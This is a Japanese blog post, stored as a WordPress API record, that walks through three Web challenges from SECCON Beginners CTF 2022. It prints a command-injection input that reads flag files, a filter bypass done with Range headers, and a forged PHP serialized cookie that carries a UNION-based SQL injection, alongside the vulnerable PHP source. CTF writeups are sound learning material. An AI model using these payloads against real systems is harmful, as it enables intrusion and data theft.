{"id":131,"date":"2022-06-05T23:07:06","date_gmt":"2022-06-05T14:07:06","guid":{"rendered":"https:\/\/rakuha.com\/?p=131"},"modified":"2022-06-05T23:25:21","modified_gmt":"2022-06-05T14:25:21","slug":"seccon-beginners-ctf-2022-writeup","status":"publish","type":"post","link":"https:\/\/rakuha.com\/?p=131","title":{"rendered":"SECCON Beginners CTF 2022 writeup"},"content":{"rendered":"\n<p>\u4eca\u56de\u306f\u4e00\u7dd2\u306b\u50cd\u3044\u3066\u3044\u308b\u65b9\u3005\u3068\u53c2\u52a0\u3057\u3066\u304d\u307e\u3057\u305f\u3002<br>Web\uff13\u554f\u3060\u3051\u3067\u3059\u304c\u3001writeup \u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"block-3fed3d52-6536-46a8-aed7-a6f485b3fcf7\">[Web] Util<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image.png?resize=665%2C391&#038;ssl=1\" alt=\"\" class=\"wp-image-132\" width=\"665\" height=\"391\" srcset=\"https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image.png?w=886&amp;ssl=1 886w, https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image.png?resize=300%2C176&amp;ssl=1 300w, https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image.png?resize=768%2C452&amp;ssl=1 768w, https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image.png?resize=800%2C470&amp;ssl=1 800w\" sizes=\"auto, (max-width: 665px) 100vw, 665px\" \/><\/figure>\n\n\n\n<p>HTML\u306e\u30bd\u30fc\u30b9(index.html)\u3092\u898b\u308b\u3068\u3001javascript\u3067send\u3068\u3044\u3046\u30e1\u30bd\u30c3\u30c9\u304c\u3042\u308a\u3001\u305d\u3053\u3067\u5165\u529b\u5024\u306e\u30c1\u30a7\u30c3\u30af\u3092\u3057\u3066\u3044\u308b\u3002<br>\u30b5\u30fc\u30d0\u5074\u306e\u30bd\u30fc\u30b9\uff08main.go\uff09\u3092\u898b\u308b\u3068\u3001\u7279\u306b\u5165\u529b\u5024\u3092\u30c1\u30a7\u30c3\u30af\u3057\u3066\u3044\u306a\u3044\u3002<br>commnd := &#8220;ping -c 1 -W 1 &#8221; + param.Address + &#8221; 1>&amp;2&#8243; \u3068\u3042\u308b\u306e\u3067\u3001\u3053\u3053\u306b\u30b3\u30de\u30f3\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3092\u4ed5\u639b\u3051\u308c\u3070\u3088\u3044\u3068\u601d\u308f\u308c\u308b\u3002<br>\u30d5\u30e9\u30b0\u306e\u5834\u6240\u306fDockerfile\u3092\u898b\u308b\u3068\/flag_&lt;\u30e9\u30f3\u30c0\u30e0\u6587\u5b57>.txt\u306e\u3088\u3046\u3060\u3002<br><br>\u958b\u767a\u8005\u30c4\u30fc\u30eb\u3067send\u30e1\u30bd\u30c3\u30c9\u3092\u66f8\u304d\u63db\u3048\u3066\u3001\u5165\u529b\u30c1\u30a7\u30c3\u30af\u3092\u306a\u304f\u3057\u305f\u5f8c\u3001<br>\u4ee5\u4e0b\u306e\u30a2\u30c9\u30ec\u30b9\u3092\u5165\u529b\u3057\u3066\u3001\u9001\u4fe1\u3059\u308c\u3070\u30d5\u30e9\u30b0\u304c\u30b2\u30c3\u30c8\u3067\u304d\u308b\u3002<\/p>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-plain\"><code>127.0.0.1;cat \/flag_*.txt<\/code><\/pre><\/div>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-1.png?resize=623%2C545&#038;ssl=1\" alt=\"\" class=\"wp-image-133\" width=\"623\" height=\"545\" srcset=\"https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-1.png?w=830&amp;ssl=1 830w, https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-1.png?resize=300%2C263&amp;ssl=1 300w, https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-1.png?resize=768%2C673&amp;ssl=1 768w, https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-1.png?resize=800%2C701&amp;ssl=1 800w\" sizes=\"auto, (max-width: 623px) 100vw, 623px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"block-0851f09a-9197-4a3f-9c60-9686b4263c56\">[Web] gallery<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-2.png?resize=661%2C369&#038;ssl=1\" alt=\"\" class=\"wp-image-134\" width=\"661\" height=\"369\" srcset=\"https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-2.png?w=881&amp;ssl=1 881w, https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-2.png?resize=300%2C168&amp;ssl=1 300w, https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-2.png?resize=768%2C429&amp;ssl=1 768w, https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-2.png?resize=800%2C447&amp;ssl=1 800w\" sizes=\"auto, (max-width: 661px) 100vw, 661px\" \/><\/figure>\n\n\n\n<p>\u753b\u9762\u3092\u958b\u304f\u3068\u3053\u3093\u306a\u611f\u3058\u3002\u3069\u3046\u3084\u3089\u62e1\u5f35\u5b50\u306b\u5fdc\u3058\u305f\u30d5\u30a1\u30a4\u30eb\u4e00\u89a7\u304c\u5217\u6319\u3055\u308c\u308b\u3089\u3057\u3044\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-3.png?resize=768%2C356&#038;ssl=1\" alt=\"\" class=\"wp-image-136\" width=\"768\" height=\"356\" srcset=\"https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-3.png?resize=1024%2C474&amp;ssl=1 1024w, https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-3.png?resize=300%2C139&amp;ssl=1 300w, https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-3.png?resize=768%2C356&amp;ssl=1 768w, https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-3.png?resize=800%2C370&amp;ssl=1 800w, https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-3.png?w=1132&amp;ssl=1 1132w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/><\/figure>\n\n\n\n<p>handlers.go\u3092\u898b\u308b\u3068\u3001flag\u3068\u3044\u3046\u6587\u5b57\u306f\u30c0\u30e1\u3060\u3051\u3069\u3001\u30d5\u30a1\u30a4\u30eb\u540d\u306e\u4e00\u90e8\u304c\u4e00\u81f4\u3057\u3066\u3044\u308c\u3070\u30d2\u30c3\u30c8\u3059\u308b\u3068\u3044\u3046\u3053\u3068\u3067\u3001<br>javascript\u3067fla\u304c\u542b\u307e\u308c\u3066\u3044\u308b\u30ea\u30b9\u30c8\u30dc\u30c3\u30af\u30b9\u3092\u8ffd\u52a0\u3057\u3066\u9078\u629e\u3057\u3066\u307f\u308b\u3053\u3068\u306b\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-4.png?resize=767%2C345&#038;ssl=1\" alt=\"\" class=\"wp-image-137\" width=\"767\" height=\"345\" srcset=\"https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-4.png?w=1023&amp;ssl=1 1023w, https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-4.png?resize=300%2C135&amp;ssl=1 300w, https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-4.png?resize=768%2C345&amp;ssl=1 768w, https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-4.png?resize=800%2C360&amp;ssl=1 800w\" sizes=\"auto, (max-width: 767px) 100vw, 767px\" \/><\/figure>\n\n\n\n<p>\u3053\u3093\u306a\u611f\u3058\u3067\u30d5\u30e9\u30b0\u306ePDF\u3092GET\uff01\u3000\u305f\u3060\u3001\u3053\u306e\u72b6\u614b\u3060\u3068\u3001\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u305f\u30d5\u30a1\u30a4\u30eb\u306f\u3059\u3079\u3066?\u306b\u306a\u3063\u3066\u3044\u305f\u3002<br>\u554f\u984c\u6587\u306b\u3042\u308b\u3088\u3046\u306b\u30b5\u30a4\u30ba\u5236\u9650\u304c\u3057\u3066\u3042\u308b\u3063\u307d\u3044\u3002<br><br>main.go\u306b10240byte\u306e\u30b5\u30a4\u30ba\u5236\u9650\u304c\u3055\u308c\u3066\u304a\u308a\u3001\u3053\u308c\u3092\u8d85\u3048\u308b\u3068?\u306b\u7f6e\u63db\u3059\u308b\u3088\u3046\u306b\u306a\u3063\u3066\u3044\u305f\u3002<br>\u306a\u306e\u3067\u3001Range\u30d8\u30c3\u30c0\u3067\uff12\u56de\u306b\u5206\u3051\u3066\u53d6\u5f97\u3057\u305f\u3002\uff08PDF\u306e\u30b5\u30a4\u30ba\u306f15KB\u307b\u3069\u3060\u3063\u305f\u306e\u3067\u3002<br><br>Firefox\u306e\u958b\u767a\u8005\u5c02\u7528\u30c4\u30fc\u30eb\u3067\u7de8\u96c6\u3057\u3066\u518d\u9001\u4fe1\u3092\uff12\u56de\u884c\u3063\u3066\u3001\u305d\u306e\u7d50\u679c\u3092\u305d\u308c\u305e\u308c\u30de\u30fc\u30b8\u3059\u308b\u3002<br>\uff11\u56de\u76ee\uff1aRange: bytes=0-10239<br>\uff12\u56de\u76ee\uff1aRange: bytes=10240-<br><br>\u203bfirefox\u306e\u958b\u767a\u8005\u5c02\u7528\u30c4\u30fc\u30eb\u3063\u3066\u30d0\u30a4\u30ca\u30ea\u306e\u5834\u5408\u3001Base64\u30a8\u30f3\u30b3\u30fc\u30c9\u3057\u3066\u304f\u308c\u308b\u306e\u3092\u521d\u3081\u3066\u77e5\u3063\u305f<br>\u203b\u30b3\u30de\u30f3\u30c9\u30d7\u30ed\u30f3\u30d7\u30c8\u306e\u30b3\u30d4\u30fc\u30b3\u30de\u30f3\u30c9\u3067\u30d0\u30a4\u30ca\u30ea\u7d50\u5408\u3067\u304d\u308b\u306e\u3082\u521d\u3081\u3066\u77e5\u3063\u305f&#8230;<br><br>\u305d\u30fc\u3059\u308b\u3068\u3001PDF\u304c\u53d6\u5f97\u3067\u304d\u308b\u306e\u3067\u3001\u8868\u793a\u3057\u3066\u30d5\u30e9\u30b0\u3092\u30b2\u30c3\u30c8\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-6.png?resize=768%2C431&#038;ssl=1\" alt=\"\" class=\"wp-image-139\" width=\"768\" height=\"431\" srcset=\"https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-6.png?resize=1024%2C574&amp;ssl=1 1024w, https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-6.png?resize=300%2C168&amp;ssl=1 300w, https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-6.png?resize=768%2C430&amp;ssl=1 768w, https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-6.png?resize=1536%2C861&amp;ssl=1 1536w, https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-6.png?resize=800%2C448&amp;ssl=1 800w, https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-6.png?w=1615&amp;ssl=1 1615w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"block-62480bf9-0c37-4f19-b51c-37b9b8295684\">[Web] serial<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-7.png?resize=665%2C296&#038;ssl=1\" alt=\"\" class=\"wp-image-140\" width=\"665\" height=\"296\" srcset=\"https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-7.png?w=887&amp;ssl=1 887w, https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-7.png?resize=300%2C134&amp;ssl=1 300w, https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-7.png?resize=768%2C342&amp;ssl=1 768w, https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/image-7.png?resize=800%2C356&amp;ssl=1 800w\" sizes=\"auto, (max-width: 665px) 100vw, 665px\" \/><\/figure>\n\n\n\n<p>database.php\u3092\u898b\u308b\u3068\u3001\u3044\u304b\u306b\u3082\u602a\u3057\u3044\u30e1\u30bd\u30c3\u30c9\u3092\u767a\u898b\u3002<\/p>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-php\" data-lang=\"PHP\"><code>    \/**\n     * findUserByName finds a user from database by given userId.\n     * \n     * @deprecated this function might be vulnerable to SQL injection. DO NOT USE THIS FUNCTION.\n     *\/\n    public function findUserByName($user = null)\n    {\n        if (!isset($user-&gt;name)) {\n            throw new Exception(&#39;invalid user name: &#39; . $user-&gt;user);\n        }\n\n        $sql = &quot;SELECT id, name, password_hash FROM users WHERE name = &#39;&quot; . $user-&gt;name . &quot;&#39; LIMIT 1&quot;;\n        $result = $this-&gt;_con-&gt;query($sql);\n        if (!$result) {\n            throw new Exception(&#39;failed query for findUserByNameOld &#39; . $sql);\n        }\n\n        while ($row = $result-&gt;fetch_assoc()) {\n            $user = new User($row[&#39;id&#39;], $row[&#39;name&#39;], $row[&#39;password_hash&#39;]);\n        }\n        return $user;\n    }<\/code><\/pre><\/div>\n\n\n\n<p>user->name\u306b\u3044\u3044\u611f\u3058\u306e\u6587\u5b57\u3092\u5165\u308c\u308c\u3070\u3001\u3088\u3055\u305d\u3046\u3002<br>user.php\u306b\u3042\u308bUser\u30af\u30e9\u30b9\u3092\u898b\u308b\u3068\u4f7f\u3048\u306a\u3044\u30ad\u30fc\u30ef\u30fc\u30c9\u304c\u3042\u308b\u3002\uff08\u3042\u3068\u3067\u308f\u304b\u308b\u3051\u3069\u3001\u3053\u308c\u306f\u5168\u7136\u95a2\u4fc2\u306a\u304b\u3063\u305f&#8230;\u3080\u3057\u308d\u30d2\u30f3\u30c8\u306b\u8fd1\u3044\u3002<\/p>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-php\" data-lang=\"PHP\"><code>class User\n{\n    private const invalid_keywords = array(&quot;UNION&quot;, &quot;&#39;&quot;, &quot;FROM&quot;, &quot;SELECT&quot;, &quot;flag&quot;);\n\n    public $id;\n    public $name;\n    public $password_hash;\n\n    public function __construct($id = null, $name = null, $password_hash = null)\n    {\n        $this-&gt;id = htmlspecialchars($id);\n        $this-&gt;name = htmlspecialchars(str_replace(self::invalid_keywords, &quot;?&quot;, $name));\n        $this-&gt;password_hash = $password_hash;\n    }\n\n    public function __toString()\n    {\n        return &quot;id: &quot; . $this-&gt;id . &quot;, name: &quot; . $this-&gt;name . &quot;, pass: &quot; . $this-&gt;password_hash;\n    }\n\n    public function isValid()\n    {\n        return isset($this-&gt;id) && isset($this-&gt;name) && isset($this-&gt;password_hash);\n    }\n}<\/code><\/pre><\/div>\n\n\n\n<p>\u554f\u984c\u3068\u306a\u308bfindUserByName\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u7b87\u6240\u306f\u6700\u521d\u306eSignUp\u306e\u3068\u3053\u308d\u3068\u3001<br>\u305d\u306e\u5f8c\u306e\u753b\u9762\u64cd\u4f5c\u306elogin\u30e1\u30bd\u30c3\u30c9\u3002login\u30e1\u30bd\u30c3\u30c9\u3088\u304f\u898b\u308b\u3068\u3001Cookie\u3092base64\u30c7\u30b3\u30fc\u30c9\u3057\u3066\u3001\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u3057\u3066\u3044\u308b\u3002<br>\u305d\u306e\u5f8c\u3001SQL\u3092\u5b9f\u884c\u3057\u3066\u3001\u30cf\u30c3\u30b7\u30e5\u5316\u3055\u308c\u305f\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u4e00\u81f4\u3057\u3066\u3044\u308c\u3070\u3001SQL\u306e\u5b9f\u884c\u7d50\u679c\u3092Cookie\u306b\u683c\u7d0d\u3057\u3066\u304f\u308c\u305d\u3046\u3002<br>User\u30af\u30e9\u30b9\u306b\u8a18\u8f09\u3055\u308c\u3066\u3044\u305f\u4f7f\u3048\u306a\u3044\u30ad\u30fc\u30ef\u30fc\u30c9\u3082\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u3067\u3084\u308b\u306a\u3089\u5927\u4e08\u592b\u3002<\/p>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-php\" data-lang=\"PHP\"><code>function login()\n{\n    if (empty($_COOKIE[&quot;__CRED&quot;])) {\n        return false;\n    }\n\n    $user = unserialize(base64_decode($_COOKIE[&#39;__CRED&#39;]));\n\n    \/\/ check if the given user exists\n    try {\n        $db = new Database();\n        $storedUser = $db-&gt;findUserByName($user);\n    } catch (Exception $e) {\n        die($e-&gt;getMessage());\n    }\n    \/\/ var_dump($user);\n    \/\/ var_dump($storedUser);\n    if ($user-&gt;password_hash === $storedUser-&gt;password_hash) {\n        \/\/ update stored user with latest information\n        \/\/ die($storedUser);\n        setcookie(&quot;__CRED&quot;, base64_encode(serialize($storedUser)));\n        return true;\n    }\n    return false;\n}<\/code><\/pre><\/div>\n\n\n\n<p>\u3068\u3044\u3046\u308f\u3051\u3067\u307e\u305a\u306f\u666e\u901a\u306b\u30ed\u30b0\u30a4\u30f3\u3057\u3066\u3001Cookie\u3092\u53d6\u5f97\u3002<\/p>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-plain\"><code>Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjU6IjE3MDA0IjtzOjQ6Im5hbWUiO3M6NjoicmFrdWhhIjtzOjEzOiJwYXNzd29yZF9oYXNoIjtzOjYwOiIkMnkkMTAkRTlBanE5ZGoxQVlPeWhFeDVMNkFOdWtsRXpRUFZ0N28ubWpzUjc3UWNpYi91UWo4TUJiVTIiO30%3D<\/code><\/pre><\/div>\n\n\n\n<p>\u305d\u306e\u5f8c\u3001%3D\u3092=\u306b\u5909\u3048\u3066\u3001base64\u30c7\u30b3\u30fc\u30c9\u3002<\/p>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-json\" data-lang=\"JSON\"><code>O:4:&quot;User&quot;:3:{s:2:&quot;id&quot;;s:5:&quot;17004&quot;;s:4:&quot;name&quot;;s:6:&quot;rakuha&quot;;s:13:&quot;password_hash&quot;;s:60:&quot;$2y$10$E9Ajq9dj1AYOyhEx5L6ANuklEzQPVt7o.mjsR77Qcib\/uQj8MBbU2&quot;;}<\/code><\/pre><\/div>\n\n\n\n<p>\u5404\u6587\u5b57\u5217\u306e\u524d\u306b\u6587\u5b57\u6570\u304c\u3042\u308b\u306e\u3067\u3001\u5909\u66f4\u3057\u305f\u5834\u5408\u306f\u3053\u306e\u6587\u5b57\u6570\u3092\u5909\u3048\u308c\u3070\u3088\u3055\u305d\u3046\u3002<br>\u3053\u3093\u306a\u611f\u3058\u3067\u5909\u66f4\u3002<\/p>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-json\" data-lang=\"JSON\"><code>O:4:&quot;User&quot;:3:{s:2:&quot;id&quot;;s:5:&quot;17004&quot;;s:4:&quot;name&quot;;s:136:&quot;rakuha&#39; union select 17004, body, &#39;$2y$10$E9Ajq9dj1AYOyhEx5L6ANuklEzQPVt7o.mjsR77Qcib\/uQj8MBbU2&#39; from flags where body like &#39;ctf4b%&#39; -- &quot;;s:13:&quot;password_hash&quot;;s:60:&quot;$2y$10$E9Ajq9dj1AYOyhEx5L6ANuklEzQPVt7o.mjsR77Qcib\/uQj8MBbU2&quot;;}<\/code><\/pre><\/div>\n\n\n\n<p>\u3053\u3053\u3067\u6ce8\u610f\u3057\u3066\u307b\u3057\u3044\u306e\u304cflags\u30c6\u30fc\u30d6\u30eb\u306f\u5c0f\u6587\u5b57\u3058\u3083\u306a\u3044\u3068\u3046\u307e\u304f\u3044\u304b\u306a\u3044\u3068\u3053\u308d\u3002<br>\u6700\u521dUser\u30af\u30e9\u30b9\u3067flag\u304c\u7981\u6b62\u30ef\u30fc\u30c9\u306b\u306a\u3063\u3066\u3044\u305f\u306e\u3067\u3001FLAGS\u3068\u3057\u3066\u3044\u305f\u3068\u3053\u308d\u3067\u7d50\u69cb\u306f\u307e\u308a\u307e\u3057\u305f\u3002\u3002\u3002<\/p>\n\n\n\n<p>\u305d\u3093\u306a\u308f\u3051\u3067\u2191\u3067\u4f5c\u3063\u305fJSON\u3092Base64\u30a8\u30f3\u30b3\u30fc\u30c9\u3002=\u306f%3D\u306b\u5909\u3048\u3066Cookie\u306b\u8a2d\u5b9a\u3057\u3066\u3001\u518d\u5ea6\u30ea\u30ed\u30fc\u30c9\u3002<br>\u305d\u3046\u3059\u308b\u3068\u3001Cookie\u306e\u5185\u5bb9\u304c\u5909\u308f\u308b\u306e\u3067\u3001\u305d\u306e\u5185\u5bb9\u3092\u53d6\u5f97\u3057\u3001\u30c7\u30b3\u30fc\u30c9\u3059\u308b\u3068\u3001\u30d5\u30e9\u30b0\u30b2\u30c3\u30c8\u3002<\/p>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-json\" data-lang=\"JSON\"><code>O:4:&quot;User&quot;:3:{s:2:&quot;id&quot;;s:5:&quot;17004&quot;;s:4:&quot;name&quot;;s:43:&quot;ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}&quot;;s:13:&quot;password_hash&quot;;s:60:&quot;$2y$10$E9Ajq9dj1AYOyhEx5L6ANuklEzQPVt7o.mjsR77Qcib\/uQj8MBbU2&quot;;}<\/code><\/pre><\/div>\n","protected":false},"excerpt":{"rendered":"<p>\u4eca\u56de\u306f\u4e00\u7dd2\u306b\u50cd\u3044\u3066\u3044\u308b\u65b9\u3005\u3068\u53c2\u52a0\u3057\u3066\u304d\u307e\u3057\u305f\u3002<br \/>\nWeb\uff13\u554f\u3060\u3051\u3067\u3059\u304c\u3001writeup \u3057\u307e\u3059\u3002<\/p>\n","protected":false},"author":1,"featured_media":142,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[2],"tags":[],"class_list":["post-131","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/rakuha.com\/wp-content\/uploads\/2022\/06\/%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E3%82%B7%E3%83%A7%E3%83%83%E3%83%88-2022-06-05-230450.png?fit=2062%2C796&ssl=1","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/rakuha.com\/index.php?rest_route=\/wp\/v2\/posts\/131","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/rakuha.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/rakuha.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/rakuha.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/rakuha.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=131"}],"version-history":[{"count":4,"href":"https:\/\/rakuha.com\/index.php?rest_route=\/wp\/v2\/posts\/131\/revisions"}],"predecessor-version":[{"id":145,"href":"https:\/\/rakuha.com\/index.php?rest_route=\/wp\/v2\/posts\/131\/revisions\/145"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/rakuha.com\/index.php?rest_route=\/wp\/v2\/media\/142"}],"wp:attachment":[{"href":"https:\/\/rakuha.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=131"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/rakuha.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=131"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/rakuha.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=131"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}